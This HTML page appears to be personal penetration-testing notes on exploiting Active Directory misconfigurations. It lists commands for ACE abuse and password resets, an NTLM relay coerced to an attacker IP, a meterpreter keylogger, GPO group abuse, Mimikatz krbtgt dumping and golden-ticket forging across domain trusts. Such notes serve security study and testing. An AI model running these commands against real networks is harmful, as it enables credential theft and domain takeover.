498 lines
51 KiB
HTML
498 lines
51 KiB
HTML
|
<!doctype html>
|
||
|
<html lang="en">
|
||
|
<center>
|
||
|
<head>
|
||
|
|
||
|
|
||
|
<script src="https://cdn.jsdelivr.net/npm/fuse.js/dist/fuse.js"></script>
|
||
|
<!-- mathjax -->
|
||
|
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
|
||
|
<script type="text/javascript" src="/static/js/auto-complete.js"></script>
|
||
|
<script type="text/javascript" src="/static/js/lunr.min.js"></script>
|
||
|
<script type="text/javascript" src="/static/js/search.js"></script>
|
||
|
<link rel="stylesheet" href="/static/stylesheet.css">
|
||
|
<link rel="stylesheet" href="/static/auto-complete.css">
|
||
|
<br>
|
||
|
<title>In the Open</title>
|
||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||
|
|
||
|
|
||
|
</head>
|
||
|
<body>
|
||
|
<!-- topmenu -->
|
||
|
<div class="menu">
|
||
|
<a href="/" style="text-decoration:none">In the Open</a>
|
||
|
</div>
|
||
|
<div class="search-container">
|
||
|
<label for="search-by"><i class="fas fa-search"></i></label>
|
||
|
<input data-search-input="" id="search-by" type="search" placeholder="Search..." autocomplete="off">
|
||
|
<!--button type="submit"><i class="search"></i>🔍</button>-->
|
||
|
<span data-search-clear=""><i class="fas fa-times"></i></span>
|
||
|
</div>
|
||
|
|
||
|
</div>
|
||
|
<div class="menu">
|
||
|
</div>
|
||
|
<!--br><br-->
|
||
|
</center>
|
||
|
<p></p>
|
||
|
<div class="columns">
|
||
|
<!-- Sidebar -->
|
||
|
<div class="column column-1">
|
||
|
<ul><details id=crypto ontoggle="linkClick(this); return false;" ><summary>Crypto</summary><ul><details id=openssl ontoggle="linkClick(this); return false;" ><summary>Openssl</summary><ul><li><a href="/crypto/openssl/openssl.html">openssl</a></li><li><a href="/crypto/openssl/openssl_engine.html">openssl_engine</a></li></ul></details><li><a href="/crypto/rsa.html">rsa</a></li></ul></details><details id=enumeration ontoggle="linkClick(this); return false;" ><summary>Enumeration</summary><ul><details id=containers ontoggle="linkClick(this); return false;" ><summary>Containers</summary><ul></ul></details><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/enumeration/docs/aws.html">aws</a></li><li><a href="/enumeration/docs/cewl.html">cewl</a></li><li><a href="/enumeration/docs/dns.html">dns</a></li><li><a href="/enumeration/docs/docker_enumeration.html">docker_enumeration</a></li><li><a href="/enumeration/docs/ffuf.html">ffuf</a></li><li><a href="/enumeration/docs/gobuster.html">gobuster</a></li><li><a href="/enumeration/docs/kerberoast.html">kerberoast</a></li><li><a href="/enumeration/docs/kubectl.html">kubectl</a></li><li><a href="/enumeration/docs/ldap.html">ldap</a></li><li><a href="/enumeration/docs/linux_basics.html">linux_basics</a></li><li><a href="/enumeration/docs/microk8s.html">microk8s</a></li><li><a href="/enumeration/docs/nfs.html">nfs</a></li><li><a href="/enumeration/docs/nikto.html">nikto</a></li><li><a href="/enumeration/docs/nmap.html">nmap</a></li><li><a href="/enumeration/docs/port_knocking.html">port_knocking</a></li><li><a href="/enumeration/docs/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/docs/rsync.html">rsync</a></li><li><a href="/enumeration/docs/rustscan.html">rustscan</a></li><li><a href="/enumeration/docs/shodan.html">shodan</a></li><details id=snmp ontoggle="linkClick(this); return false;" ><summary>Snmp</summary><ul><li><a href="/enumeration/docs/snmp/onesixtyone.html">onesixtyone</a></li><li><a href="/enumeration/docs/snmp/snmpcheck.html">snmpcheck</a></li></ul></details><li><a href="/enumeration/docs/websites.html">websites</a></li><li><a href="/enumeration/docs/wfuzz.html">wfuzz</a></li><li><a href="/enumeration/docs/wpscan.html">wpscan</a></li></ul></details><details id=network_scanners ontoggle="linkClick(this); return false;" ><summary>Network_scanners</summary><ul></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/enumeration/windows/bloodhound.html">bloodhound</a></li><li><a href="/enumeration/windows/event_log.html">event_log</a></li><li><a href="/enumeration/windows/manual_enum.html">manual_enum</a></li><li><a href="/enumeration/windows/powershell.html">powershell</a></li><li><a href="/enumeration/windows/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/windows/sysinternals.html">sysinternals</a></li><li><a href="/enumeration/windows/sysmon.html">sysmon</a></li><li><a href="/enumeration/windows/vss.html">vss</a></li></ul></details></ul></details><details id=exfiltration ontoggle="linkClick(this); return false;" ><summary>Exfiltration</summary><ul><details id=dns ontoggle="linkClick(this); return false;" ><summary>Dns</summary><ul><li><a href="/exfiltration/dns/dns.html">dns</a></li></ul></details><details id=linux ontoggle="linkClick(this); return false;" ><summary>Linux</summary><ul><li><a href="/exfiltration/linux/nc.html">nc</a></li><li><a href="/exfiltration/linux/wget.html">wget</a></li></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/exfiltration/windows/evil-winrm.html">evil-winrm</a></li><li><a href="/exfiltration/windows/loot.html">loot</a></li><li><a href="/exfiltration/windows/smb_connection.html">smb_connection</a></li></ul></details></ul></details><details id=exploit ontoggle="linkClick(this); return false;" ><summary>Exploit</summary><ul><details id=CPUs ontoggle="linkClick(this); return false;" ><summary>CPUs</summary><ul><li><a href="/exploit/CPUs
|
||
|
</ul>
|
||
|
</div>
|
||
|
<div class="column column-2">
|
||
|
<span class="body">
|
||
|
<style>pre { line-height: 125%; }
|
||
|
td.linenos .normal { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
|
||
|
span.linenos { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
|
||
|
td.linenos .special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
|
||
|
span.linenos.special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
|
||
|
.codehilite .hll { background-color: #2C3B41 }
|
||
|
.codehilite .c { color: #546E7A; font-style: italic } /* Comment */
|
||
|
.codehilite .err { color: #FF5370 } /* Error */
|
||
|
.codehilite .esc { color: #89DDFF } /* Escape */
|
||
|
.codehilite .g { color: #EEFFFF } /* Generic */
|
||
|
.codehilite .k { color: #BB80B3 } /* Keyword */
|
||
|
.codehilite .l { color: #C3E88D } /* Literal */
|
||
|
.codehilite .n { color: #EEFFFF } /* Name */
|
||
|
.codehilite .o { color: #89DDFF } /* Operator */
|
||
|
.codehilite .p { color: #89DDFF } /* Punctuation */
|
||
|
.codehilite .ch { color: #546E7A; font-style: italic } /* Comment.Hashbang */
|
||
|
.codehilite .cm { color: #546E7A; font-style: italic } /* Comment.Multiline */
|
||
|
.codehilite .cp { color: #546E7A; font-style: italic } /* Comment.Preproc */
|
||
|
.codehilite .cpf { color: #546E7A; font-style: italic } /* Comment.PreprocFile */
|
||
|
.codehilite .c1 { color: #546E7A; font-style: italic } /* Comment.Single */
|
||
|
.codehilite .cs { color: #546E7A; font-style: italic } /* Comment.Special */
|
||
|
.codehilite .gd { color: #FF5370 } /* Generic.Deleted */
|
||
|
.codehilite .ge { color: #89DDFF } /* Generic.Emph */
|
||
|
.codehilite .gr { color: #FF5370 } /* Generic.Error */
|
||
|
.codehilite .gh { color: #C3E88D } /* Generic.Heading */
|
||
|
.codehilite .gi { color: #C3E88D } /* Generic.Inserted */
|
||
|
.codehilite .go { color: #546E7A } /* Generic.Output */
|
||
|
.codehilite .gp { color: #FFCB6B } /* Generic.Prompt */
|
||
|
.codehilite .gs { color: #FF5370 } /* Generic.Strong */
|
||
|
.codehilite .gu { color: #89DDFF } /* Generic.Subheading */
|
||
|
.codehilite .gt { color: #FF5370 } /* Generic.Traceback */
|
||
|
.codehilite .kc { color: #89DDFF } /* Keyword.Constant */
|
||
|
.codehilite .kd { color: #BB80B3 } /* Keyword.Declaration */
|
||
|
.codehilite .kn { color: #89DDFF; font-style: italic } /* Keyword.Namespace */
|
||
|
.codehilite .kp { color: #89DDFF } /* Keyword.Pseudo */
|
||
|
.codehilite .kr { color: #BB80B3 } /* Keyword.Reserved */
|
||
|
.codehilite .kt { color: #BB80B3 } /* Keyword.Type */
|
||
|
.codehilite .ld { color: #C3E88D } /* Literal.Date */
|
||
|
.codehilite .m { color: #F78C6C } /* Literal.Number */
|
||
|
.codehilite .s { color: #C3E88D } /* Literal.String */
|
||
|
.codehilite .na { color: #BB80B3 } /* Name.Attribute */
|
||
|
.codehilite .nb { color: #82AAFF } /* Name.Builtin */
|
||
|
.codehilite .nc { color: #FFCB6B } /* Name.Class */
|
||
|
.codehilite .no { color: #EEFFFF } /* Name.Constant */
|
||
|
.codehilite .nd { color: #82AAFF } /* Name.Decorator */
|
||
|
.codehilite .ni { color: #89DDFF } /* Name.Entity */
|
||
|
.codehilite .ne { color: #FFCB6B } /* Name.Exception */
|
||
|
.codehilite .nf { color: #82AAFF } /* Name.Function */
|
||
|
.codehilite .nl { color: #82AAFF } /* Name.Label */
|
||
|
.codehilite .nn { color: #FFCB6B } /* Name.Namespace */
|
||
|
.codehilite .nx { color: #EEFFFF } /* Name.Other */
|
||
|
.codehilite .py { color: #FFCB6B } /* Name.Property */
|
||
|
.codehilite .nt { color: #FF5370 } /* Name.Tag */
|
||
|
.codehilite .nv { color: #89DDFF } /* Name.Variable */
|
||
|
.codehilite .ow { color: #89DDFF; font-style: italic } /* Operator.Word */
|
||
|
.codehilite .w { color: #EEFFFF } /* Text.Whitespace */
|
||
|
.codehilite .mb { color: #F78C6C } /* Literal.Number.Bin */
|
||
|
.codehilite .mf { color: #F78C6C } /* Literal.Number.Float */
|
||
|
.codehilite .mh { color: #F78C6C } /* Literal.Number.Hex */
|
||
|
.codehilite .mi { color: #F78C6C } /* Literal.Number.Integer */
|
||
|
.codehilite .mo { color: #F78C6C } /* Literal.Number.Oct */
|
||
|
.codehilite .sa { color: #BB80B3 } /* Literal.String.Affix */
|
||
|
.codehilite .sb { color: #C3E88D } /* Literal.String.Backtick */
|
||
|
.codehilite .sc { color: #C3E88D } /* Literal.String.Char */
|
||
|
.codehilite .dl { color: #EEFFFF } /* Literal.String.Delimiter */
|
||
|
.codehilite .sd { color: #546E7A; font-style: italic } /* Literal.String.Doc */
|
||
|
.codehilite .s2 { color: #C3E88D } /* Literal.String.Double */
|
||
|
.codehilite .se { color: #EEFFFF } /* Literal.String.Escape */
|
||
|
.codehilite .sh { color: #C3E88D } /* Literal.String.Heredoc */
|
||
|
.codehilite .si { color: #89DDFF } /* Literal.String.Interpol */
|
||
|
.codehilite .sx { color: #C3E88D } /* Literal.String.Other */
|
||
|
.codehilite .sr { color: #89DDFF } /* Literal.String.Regex */
|
||
|
.codehilite .s1 { color: #C3E88D } /* Literal.String.Single */
|
||
|
.codehilite .ss { color: #89DDFF } /* Literal.String.Symbol */
|
||
|
.codehilite .bp { color: #89DDFF } /* Name.Builtin.Pseudo */
|
||
|
.codehilite .fm { color: #82AAFF } /* Name.Function.Magic */
|
||
|
.codehilite .vc { color: #89DDFF } /* Name.Variable.Class */
|
||
|
.codehilite .vg { color: #89DDFF } /* Name.Variable.Global */
|
||
|
.codehilite .vi { color: #89DDFF } /* Name.Variable.Instance */
|
||
|
.codehilite .vm { color: #82AAFF } /* Name.Variable.Magic */
|
||
|
.codehilite .il { color: #F78C6C } /* Literal.Number.Integer.Long */</style>
|
||
|
<div class="column column-3">
|
||
|
<ul>
|
||
|
<li><a href="#active-directory-misconfigurations">Active Directory Misconfigurations</a><ul>
|
||
|
<li><a href="#permission-delegation">Permission Delegation</a><ul>
|
||
|
<li><a href="#the-following-aces-are-critical-and-prone-to-be-exploited">The following ACEs are critical and prone to be exploited</a></li>
|
||
|
<li><a href="#tools-to-exploit-aces">Tools to exploit ACEs</a></li>
|
||
|
<li><a href="#usage">Usage</a></li>
|
||
|
</ul>
|
||
|
</li>
|
||
|
<li><a href="#kerberos-delegation">Kerberos Delegation</a><ul>
|
||
|
<li><a href="#delegatable-services">Delegatable Services</a></li>
|
||
|
<li><a href="#usage_1">Usage</a></li>
|
||
|
</ul>
|
||
|
</li>
|
||
|
<li><a href="#automated-relays">Automated Relays</a><ul>
|
||
|
<li><a href="#machine-accounts">Machine Accounts</a></li>
|
||
|
<li><a href="#printers">Printers</a></li>
|
||
|
</ul>
|
||
|
</li>
|
||
|
<li><a href="#active-directory-users">Active Directory Users</a><ul>
|
||
|
<li><a href="#credentials">Credentials</a></li>
|
||
|
<li><a href="#keylogging">Keylogging</a></li>
|
||
|
</ul>
|
||
|
</li>
|
||
|
<li><a href="#group-policy-objects">Group Policy Objects</a><ul>
|
||
|
<li><a href="#usage_2">Usage</a></li>
|
||
|
</ul>
|
||
|
</li>
|
||
|
<li><a href="#certificates">Certificates</a></li>
|
||
|
<li><a href="#domain-trusts">Domain Trusts</a><ul>
|
||
|
<li><a href="#usage_3">Usage</a></li>
|
||
|
</ul>
|
||
|
</li>
|
||
|
</ul>
|
||
|
</li>
|
||
|
</ul>
|
||
|
</div>
|
||
|
<h1 id="active-directory-misconfigurations">Active Directory Misconfigurations</h1>
|
||
|
<h2 id="permission-delegation">Permission Delegation</h2>
|
||
|
<ul>
|
||
|
<li>Permissions to functions may be delegated as a standard functions itself</li>
|
||
|
<li>Privilege creep becomes a problem eventually</li>
|
||
|
<li>Discretionary ACLs are controlled by Access Control Entries (ACEs)</li>
|
||
|
</ul>
|
||
|
<h3 id="the-following-aces-are-critical-and-prone-to-be-exploited">The following ACEs are critical and prone to be exploited</h3>
|
||
|
<ul>
|
||
|
<li><strong>GenericAll</strong>, complete control and creation of an object</li>
|
||
|
<li><strong>ForceChangePassword</strong>, change the password of a user and sometimes administrator passwords</li>
|
||
|
<li><strong>AddMembers</strong>, add a user to an existing group</li>
|
||
|
<li><strong>GenericWrite</strong>, update any non-protected parameters of the target, e.g. paths to scripts.</li>
|
||
|
<li><strong>WriteOwner</strong>, change owner of a target object. </li>
|
||
|
<li><strong>WriteDACL</strong>, create new ACEs to an object's DACL</li>
|
||
|
<li><strong>AllExtendendRights</strong> all control over an object's permission</li>
|
||
|
</ul>
|
||
|
<h3 id="tools-to-exploit-aces">Tools to exploit ACEs</h3>
|
||
|
<ul>
|
||
|
<li>AD-RSAT</li>
|
||
|
<li>
|
||
|
<p>Powersploit</p>
|
||
|
</li>
|
||
|
<li>
|
||
|
<p>BloodHound, check permissions to target</p>
|
||
|
</li>
|
||
|
</ul>
|
||
|
<h3 id="usage">Usage</h3>
|
||
|
<ul>
|
||
|
<li>Add user to a group via powershell</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>Add-GroupMember <span class="s2">"<GroupName>"</span> -Members <span class="s2">"<username>"</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>List info about groups, preferably administration groups</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>Get-ADGroupMember -Identity <span class="s2">"<GroupName>"</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Set new password for user, afterwards reconnect session</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code><span class="nv">$Password</span> <span class="o">=</span> ConvertTo-SecureString <span class="s2">"password123#"</span> -AsPlainText -Force
|
||
|
Set-ADAccountPassword -Identity <span class="s2">"<username>"</span> -Reset -NewPassword <span class="nv">$Password</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<h2 id="kerberos-delegation">Kerberos Delegation</h2>
|
||
|
<ul>
|
||
|
<li>Unconstrained (without limit) delegation, <a href="https://medium.com/@riccardo.ancarani94/exploiting-unconstrained-delegation-a81eabbd6976">exploit</a></li>
|
||
|
<li>Constrained delegation</li>
|
||
|
<li>Resource based constrained delegation (RBCD), service owner specifies which resources can bind. Set by <a href="https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/">msDS-AllowedToActOnBehalfOfOtherIdentity</a></li>
|
||
|
</ul>
|
||
|
<h3 id="delegatable-services">Delegatable Services</h3>
|
||
|
<ul>
|
||
|
<li><strong>HTTP</strong></li>
|
||
|
<li><strong>CIFS</strong></li>
|
||
|
<li><strong>LDAP</strong></li>
|
||
|
<li><strong>HOST</strong></li>
|
||
|
<li><strong>MSSQL</strong></li>
|
||
|
</ul>
|
||
|
<h3 id="usage_1">Usage</h3>
|
||
|
<ul>
|
||
|
<li>Enumerate via powerview</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>Import-Module .<span class="se">\P</span>owerView.ps1
|
||
|
Get-NetUser -TrustedToAuth
|
||
|
</code></pre></div>
|
||
|
|
||
|
<h2 id="automated-relays">Automated Relays</h2>
|
||
|
<h3 id="machine-accounts">Machine Accounts</h3>
|
||
|
<ul>
|
||
|
<li>Administrative machine account of one host having administrative permissions over another host</li>
|
||
|
</ul>
|
||
|
<h3 id="printers">Printers</h3>
|
||
|
<ul>
|
||
|
<li>Target has to have an SMB server</li>
|
||
|
<li>Spooler, PetitPotam, PrintNightmare are printer exploits</li>
|
||
|
<li>Query printer services through a servers domain</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>GWMI Win32_Printer -Computer <domain>
|
||
|
Get-PrinterPort -ComputerName <domain>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>SMB signing may be enabled but must not be enforced in order for the exploit to work, check via</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>nmap --script smb2-securitymode -p <span class="m">445</span> printer.example.com plotter.example.com
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Start SMB relay on attacker, use IP instead of domain to trigger NTLM auth</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>ntlmrelayx.py -smb2support -t smb://<span class="s2">"</span><span class="nv">$TARGET_IP</span><span class="s2">"</span> -debug
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Authenticate on attacker with the credentials already gained from a windows computer </li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>SpoolSample.exe <domain> <span class="s2">"</span><span class="nv">$ATTACKER_IP</span><span class="s2">"</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Authenticate with the received credential</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>ntlmrelayx.py -smb2support -t smb://<span class="s2">"</span><span class="nv">$TARGET_IP</span><span class="s2">"</span> -debug -c <span class="s1">'whoami /all'</span> -debug
|
||
|
</code></pre></div>
|
||
|
|
||
|
<h2 id="active-directory-users">Active Directory Users</h2>
|
||
|
<h3 id="credentials">Credentials</h3>
|
||
|
<h3 id="keylogging">Keylogging</h3>
|
||
|
<ul>
|
||
|
<li>With a meterpreter shell migrate to an active user's process and set a keylogger</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>migrate <processID>
|
||
|
keyscan_start
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>To inspect the results</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>keyscan_dump
|
||
|
</code></pre></div>
|
||
|
|
||
|
<h2 id="group-policy-objects">Group Policy Objects</h2>
|
||
|
<ul>
|
||
|
<li>Every <code>GPO</code> has a <code>GUID</code></li>
|
||
|
<li>Local Policies are configured for application rules for FW, Windows-Defender, Applocker<ul>
|
||
|
<li>Other local policies are group memberships, startup config, protocols</li>
|
||
|
<li>Group policies change configuration of these remotely over AD</li>
|
||
|
</ul>
|
||
|
</li>
|
||
|
<li><code>GPOs</code> are stored on the <code>SYSVOL</code> to be distributed to any machine in the domain</li>
|
||
|
</ul>
|
||
|
<h3 id="usage_2">Usage</h3>
|
||
|
<ul>
|
||
|
<li>Target is to add the user to either an RDP or SSH group and to connect via this group afterwards</li>
|
||
|
<li>Start a <code>cmd</code> with a AD user and execute <code>mmc</code> through it</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>runas /netonly /user:<domain><span class="se">\<</span>username> cmd.exe
|
||
|
mmc
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Check connection of the <code>cmd.exe</code> via </li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>dir <span class="se">\\</span><domain><span class="se">\s</span>ysvol
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Click <code>File</code> -> Add/Remove Snap-in -> <code>Group Policy Management</code> -> <code>OK</code></li>
|
||
|
<li>On the left tree do <code>Group Policy Management</code> -> <code>Forest bla</code> -> <code>Domains</code> -> <code><domain></code> -> <code>Server</code> -> <code>Management Servers</code> and right click to edit the group</li>
|
||
|
<li>On the left tree <code>Computer Configuration</code> -> <code>Policies</code> -> <code>Windows Settings</code> -> <code>Security Settings</code> -> right click <code>Restricted Groups</code> -> <code>Add Group</code> -> name like <code>IT Support</code> -> edit the group and Add <code>Administrators</code> and <code>Remote Desktop Users</code> groups</li>
|
||
|
</ul>
|
||
|
<h2 id="certificates">Certificates</h2>
|
||
|
<ul>
|
||
|
<li><a href="./AD_CS.md">AD Certificate Services</a></li>
|
||
|
</ul>
|
||
|
<h2 id="domain-trusts">Domain Trusts</h2>
|
||
|
<ul>
|
||
|
<li>
|
||
|
<p>Domain Trusts offer access to resources to users in the domain</p>
|
||
|
<ul>
|
||
|
<li>Directional, from trusted domain to another truster domain</li>
|
||
|
<li>Transitive, beyond more than just one other domain</li>
|
||
|
</ul>
|
||
|
</li>
|
||
|
<li>
|
||
|
<p>Pwn parent child relationship between directional domain trusts via krbtgt and a golden ticket</p>
|
||
|
</li>
|
||
|
<li><code>krbtgt</code> as an account signs and encrypts TGTs</li>
|
||
|
<li>Crafting a golden ticket by becoming a TGS. Following info is needed<ul>
|
||
|
<li>FQDN</li>
|
||
|
<li>Security identifier of the domain (SI)</li>
|
||
|
<li>Target's username</li>
|
||
|
<li><strong>KRBTGT password hash</strong> store on the DC</li>
|
||
|
</ul>
|
||
|
</li>
|
||
|
</ul>
|
||
|
<h3 id="usage_3">Usage</h3>
|
||
|
<ul>
|
||
|
<li><code>KRBTGT</code> via Mimikatz, resulting in <code>Hash NTLM</code></li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>privilege::debug
|
||
|
lsadump::dsync /user:<username<span class="se">\k</span>btgt>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>
|
||
|
<p>Craft the ticket with the help of this hash</p>
|
||
|
</li>
|
||
|
<li>
|
||
|
<p>Alternatively, InterRealm TGTs are used to get resources between domains in order to pwn the parent by adding the Enterprise Admin group as an extraSID,commonly this is <code>S-1-5-21-<RootDomain>-519</code></p>
|
||
|
</li>
|
||
|
<li>SID of Child DC is needed, as well as the SID of the Enterprise Admin in the parent domain</li>
|
||
|
<li>Get child SIDs via</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>Get-ADComputer -Identity <span class="s2">"<DCChildCN>"</span>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Get parent SID via</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>Get-ADGroup -Identity <span class="s2">"Enterprise Admins"</span> -Server <domain>
|
||
|
</code></pre></div>
|
||
|
|
||
|
<ul>
|
||
|
<li>Include additional SIDs from other domains into <code>KERB_VALIDATION_INFO</code> via Mimikatz</li>
|
||
|
</ul>
|
||
|
<div class="codehilite"><pre><span></span><code>privilege::debug
|
||
|
kerberos golden /user:Administrator /domain:<child.domain> /sid:<ChildSID> /service:kbtgt /rc4:<NTLMHash of krbtgt> /sids:<Enterprise Admin group SID> /ptt
|
||
|
<span class="nb">exit</span>
|
||
|
dir <span class="se">\\</span>DCdomain<span class="se">\d</span>ir$
|
||
|
dir <span class="se">\\</span>Parentdomain<span class="se">\d</span>ir$
|
||
|
</code></pre></div>
|
||
|
</span>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div id="footer">
|
||
|
|
||
|
<p></p>
|
||
|
<center>
|
||
|
© Stefan Friese
|
||
|
</center>
|
||
|
|
||
|
</div>
|
||
|
|
||
|
<script>
|
||
|
function linkClick(obj) {
|
||
|
if (obj.open) {
|
||
|
console.log('open');
|
||
|
if (sessionStorage.getItem(obj.id) && !(sessionStorage.getItem(obj.id) === "open")) {
|
||
|
sessionStorage.removeItem(obj.id);
|
||
|
}
|
||
|
sessionStorage.setItem(obj.id,"open");
|
||
|
console.log(obj.id);
|
||
|
|
||
|
} else {
|
||
|
console.log('closed');
|
||
|
sessionStorage.removeItem(obj.id);
|
||
|
|
||
|
}
|
||
|
// if (obj.open) {
|
||
|
// console.log('open');
|
||
|
// if (sessionStorage.getItem("opened") && !(sessionStorage.getItem("opened") === obj.id)) {
|
||
|
// sessionStorage.removeItem("opened");
|
||
|
// }
|
||
|
// sessionStorage.setItem("opened", obj.id);
|
||
|
// console.log(obj);
|
||
|
|
||
|
// } else {
|
||
|
// console.log('closed');
|
||
|
// sessionStorage.removeItem("opened");
|
||
|
//
|
||
|
// }
|
||
|
}
|
||
|
|
||
|
//if ( sessionStorage.getItem("opened")) {
|
||
|
// var item = sessionStorage.getItem("opened")
|
||
|
// document.getElementById(item)['open'] = 'open';
|
||
|
//}
|
||
|
let _keys = Object.keys(sessionStorage);
|
||
|
if (_keys) {
|
||
|
for ( let i = 0; i < _keys.length; i++ ) {
|
||
|
document.getElementById(_keys[i])['open'] = 'open';
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
|
||
|
// const detailsElement = document.querySelector('.details-sidebar');
|
||
|
// detailsElement.addEventListener('toggle', event => {
|
||
|
// if (event.target.open) {
|
||
|
// console.log('open');
|
||
|
// if (sessionStorage.getItem("opened") && !(sessionStorage.getItem("opened") === detailsElement.id)) {
|
||
|
// sessionStorage.removeItem("opened");
|
||
|
// }
|
||
|
// sessionStorage.setItem("opened", detailsElement.id);
|
||
|
// console.log(detailsElement);
|
||
|
//
|
||
|
// } else {
|
||
|
// console.log('closed');
|
||
|
// sessionStorage.removeItem("opened");
|
||
|
//
|
||
|
// }
|
||
|
// });
|
||
|
//
|
||
|
// async function fetchIndexJSON() {
|
||
|
// const response = await fetch('/index.json');
|
||
|
// const index = await response.json();
|
||
|
// return index;
|
||
|
// }
|
||
|
// // Extract the `q` query parameter
|
||
|
//var queryStringRegex = /[\?&]q=([^&]+)/g;
|
||
|
//var matches = queryStringRegex.exec(window.location.search);
|
||
|
//if(matches && matches[1]) {
|
||
|
// var value = decodeURIComponent(matches[1].replace(/\+/g, '%20'));
|
||
|
//
|
||
|
//
|
||
|
// // fetchIndexJSON()
|
||
|
// // .then(index => { console.log(index['index']);});
|
||
|
// // Load the posts to search
|
||
|
// fetch('/index').then(function(posts) {
|
||
|
// // Remember to include Fuse.js before this script.
|
||
|
//
|
||
|
// var fuse = new Fuse(posts, {
|
||
|
// keys: ['title', 'tags', 'content'] // What we're searching
|
||
|
// });
|
||
|
//
|
||
|
// // Run the search
|
||
|
// var results = fuse.search(value);
|
||
|
// //console.log(results);
|
||
|
//
|
||
|
// // Generate markup for the posts, implement SearchResults however you want.
|
||
|
// // var $results = SearchResults(results);
|
||
|
//
|
||
|
// // Add the element to the empty <div> from before.
|
||
|
//// $('#searchResults').append($results);
|
||
|
// });
|
||
|
//}
|
||
|
</script>
|
||
|
|
||
|
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@2/MathJax.js"></script>
|
||
|
<script src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type="text/javascript"></script>
|
||
|
</script>
|
||
|
<script type="text/x-mathjax-config">
|
||
|
MathJax.Hub.Config({
|
||
|
config: ["MMLorHTML.js"],
|
||
|
jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"],
|
||
|
extensions: ["MathMenu.js", "MathZoom.js"]
|
||
|
});
|
||
|
</script>
|
||
|
</body>
|
||
|
</html>
|